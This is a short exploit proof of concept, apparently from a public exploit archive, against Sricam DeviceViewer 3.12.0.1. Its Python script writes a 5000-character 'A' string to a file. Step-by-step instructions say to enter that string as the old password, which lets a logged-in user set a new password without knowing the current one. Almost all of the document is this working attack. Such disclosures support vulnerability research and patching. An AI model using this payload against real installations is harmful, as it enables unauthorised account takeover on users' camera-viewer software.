# Exploit Title: DeviceViewer 3.12.0.1 - Arbitrary Password Change
# Date: 2019-09-10
# Exploit Author: Alessandro Magnosi
# Vendor Homepage: http://www.sricam.com/
# Software Link: http://download.sricam.com/Manual/DeviceViewer.exe
# Version: v3.12.0.1
# Tested on: Windows 7
#!/usr/bin/python
# Steps to reproduce:
# 1. Generate the payload executing the PoC
# 2. Login in the Sricam DeviceViewer application as any registered user
# 3. Go to System Tools -> Change Password
# 4. Set the old password as the malicious payload, and the new password as whatever you want
# 5. The password will be changed with the new one
# 6. To confirm, restart the application and try to login with the new password
payload = "A" * 5000
try:
bypass = open("bypass.txt","w")
print("### Sricam DeviceViewer 3.12.0.1 Change Password Security Bypass")
print("### Author: Alessandro Magnosi\n")
print("[*] Creating old password file")
bypass.write(payload)
bypass.close()
print("[+] Old password file created\n")
print("[i] When changing password, set the old password to the file contents")
print("[i] Close the program and reopen it")
print("[i] Log in with new password")
except:
print("[!] Error creating the file")
